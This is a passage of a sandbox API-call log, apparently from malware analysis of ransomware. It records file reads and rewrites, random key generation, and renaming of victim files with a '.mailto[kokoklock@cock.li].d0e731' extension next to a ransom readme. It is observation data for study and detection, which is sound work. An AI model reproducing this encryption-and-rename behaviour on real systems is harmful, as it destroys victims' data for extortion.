out: Seed=0xa7efd04) returned 0x1a837c17 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x10aa8b1 [0167.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0167.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0167.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0167.120] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.120] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.120] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x1965, lpNumberOfBytesRead=0xa7efcf8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa7efcf8*=0x1965, lpOverlapped=0x0) returned 1 [0167.120] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7efcc0 | out: lpNewFilePointer=0x0) returned 1 [0167.120] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x1965, lpNumberOfBytesWritten=0xa7efcf4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa7efcf4*=0x1965, lpOverlapped=0x0) returned 1 [0167.121] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.121] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963b8 [0167.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963b8) returned 1 [0167.121] WriteFile (in: hFile=0x528, lpBuffer=0x2f8ac20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa7efcf0, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac20*, lpNumberOfBytesWritten=0xa7efcf0*=0x20, lpOverlapped=0x0) returned 1 [0167.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0167.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0167.121] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa7efd1c*=0x8, lpOverlapped=0x0) returned 1 [0167.121] WriteFile (in: hFile=0x528, lpBuffer=0xa7efd34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0xa7efd34*, lpNumberOfBytesWritten=0xa7efd1c*=0x4, lpOverlapped=0x0) returned 1 [0167.121] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa7efd1c*=0x4, lpOverlapped=0x0) returned 1 [0167.122] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa7efd1c*=0x6c, lpOverlapped=0x0) returned 1 [0167.122] WriteFile (in: hFile=0x528, lpBuffer=0x2fab708*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2fab708*, lpNumberOfBytesWritten=0xa7efd1c*=0x20, lpOverlapped=0x0) returned 1 [0167.122] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa7efd1c*=0x4, lpOverlapped=0x0) returned 1 [0167.122] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0167.122] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.122] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.122] CloseHandle (hObject=0x528) returned 1 [0167.122] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e1e8 [0167.122] wcscpy (in: _Dest=0x2f7e1e8, _Source="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0167.122] wcscat (in: _Dest=0x2f7e1e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.122] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.123] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.123] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e1e8) returned 1 [0167.123] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.124] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87a90 [0167.124] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\588bce7c90097ed212\\1028\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0167.124] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" [0167.124] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\d0e731-readme.txt")) returned 0x20 [0167.124] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0167.124] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6fad8) returned 1 [0167.124] RtlExitUserThread (Status=0x1) Thread: id = 1649 os_tid = 0x82c [0167.127] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.127] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.127] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa86f9c0 | out: lpFileSize=0xa86f9c0*=61008) returned 1 [0167.127] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xee4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.127] ReadFile (in: hFile=0x528, lpBuffer=0xa86f994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0xa86f994*, lpNumberOfBytesRead=0xa86f990*=0x4, lpOverlapped=0x0) returned 1 [0167.129] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.129] NtQuerySystemTime (in: CurrentTime=0xa86f96c | out: CurrentTime=0xa86f96c*=132121213244386253) returned 0x0 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xb66a21a3 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x232e40f9 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x4af3ec2c [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x12ff8aae [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xe3439e10 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xc0a1eec4 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x3fcf9f7d [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xd49702ef [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x83fabfd [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xdd961b37 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x252d76f7 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x9404ac21 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x6998423e [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x6c44d6e4 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x519d5162 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xdd04a3b3 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x640e1ea8 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xd66d7a2 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xb8e179ad [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x3320d66b [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x65b71e3c [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x3917a684 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x6f788454 [0167.129] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x1bab6b91 [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xd455385a [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x6f0e254c [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xdbedeee3 [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x78884d95 [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x308d540c [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x2ea9b94e [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0xf58b46ab [0167.130] RtlRandom (in: Seed=0xa86f978 | out: Seed=0xa86f978) returned 0x32440c77 [0167.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0167.141] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.141] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964f8 [0167.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.141] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.141] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.141] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.142] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa86f944, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa86f944*=0x4096, lpOverlapped=0x0) returned 1 [0167.143] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96430 [0167.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96430) returned 1 [0167.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962c8 [0167.144] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96700 [0167.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96700) returned 1 [0167.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.144] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa86f944, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa86f944*=0x4096, lpOverlapped=0x0) returned 1 [0167.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.144] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xee50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.144] WriteFile (in: hFile=0x528, lpBuffer=0x2f962c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa86f97c, lpOverlapped=0x0 | out: lpBuffer=0x2f962c8*, lpNumberOfBytesWritten=0xa86f97c*=0x20, lpOverlapped=0x0) returned 1 [0167.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f962c8) returned 1 [0167.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.144] WriteFile (in: hFile=0x528, lpBuffer=0x2f964f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0x2f964f8*, lpNumberOfBytesWritten=0xa86f990*=0x8, lpOverlapped=0x0) returned 1 [0167.144] WriteFile (in: hFile=0x528, lpBuffer=0xa86f9a8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0xa86f9a8*, lpNumberOfBytesWritten=0xa86f990*=0x4, lpOverlapped=0x0) returned 1 [0167.145] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa86f990*=0x4, lpOverlapped=0x0) returned 1 [0167.145] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa86f990*=0x6c, lpOverlapped=0x0) returned 1 [0167.145] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0xa86f990*=0x20, lpOverlapped=0x0) returned 1 [0167.145] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa86f990, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa86f990*=0x4, lpOverlapped=0x0) returned 1 [0167.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0167.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964f8) returned 1 [0167.145] CloseHandle (hObject=0x528) returned 1 [0167.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc31a8 [0167.145] wcscpy (in: _Dest=0x2fc31a8, _Source="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0167.145] wcscat (in: _Dest=0x2fc31a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.145] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.146] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc31a8) returned 1 [0167.147] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.147] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87a90 [0167.147] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\588bce7c90097ed212\\1028\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0167.147] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" [0167.147] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\d0e731-readme.txt")) returned 0x20 [0167.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0167.147] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feec18) returned 1 [0167.147] RtlExitUserThread (Status=0x1) Thread: id = 1650 os_tid = 0xae0 [0167.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.149] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.150] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa8ef908 | out: lpFileSize=0xa8ef908*=7759) returned 1 [0167.150] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1e4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.150] ReadFile (in: hFile=0x528, lpBuffer=0xa8ef8dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0xa8ef8dc*, lpNumberOfBytesRead=0xa8ef8d8*=0x4, lpOverlapped=0x0) returned 1 [0167.151] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0167.151] NtQuerySystemTime (in: CurrentTime=0xa8ef8b4 | out: CurrentTime=0xa8ef8b4*=132121213244698402) returned 0x0 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xc0071ce9 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xbfc348d5 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xed9e9e5f [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x8ffc9bee [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x3e037241 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x2b5d2346 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xefee2e03 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x51a16dfa [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xd0ce729f [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x27bdee93 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x805a5262 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xbaf8ffaf [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xb284228f [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xc548b055 [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x3e29a91e [0167.151] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xde1679d3 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x7049e274 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x75a77e62 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xa7b6ba7b [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x2560c98d [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xf3b46303 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xe119380e [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xcd1a524 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x83a331a0 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x9a75462b [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xa33f90b6 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x91c94e6c [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xd1b3921d [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x83336c3f [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x86db72b0 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0xdc267406 [0167.152] RtlRandom (in: Seed=0xa8ef8c0 | out: Seed=0xa8ef8c0) returned 0x42df592 [0167.160] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96660 [0167.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0167.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964f8 [0167.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0167.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96430 [0167.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96430) returned 1 [0167.162] RtlAllocateHeap 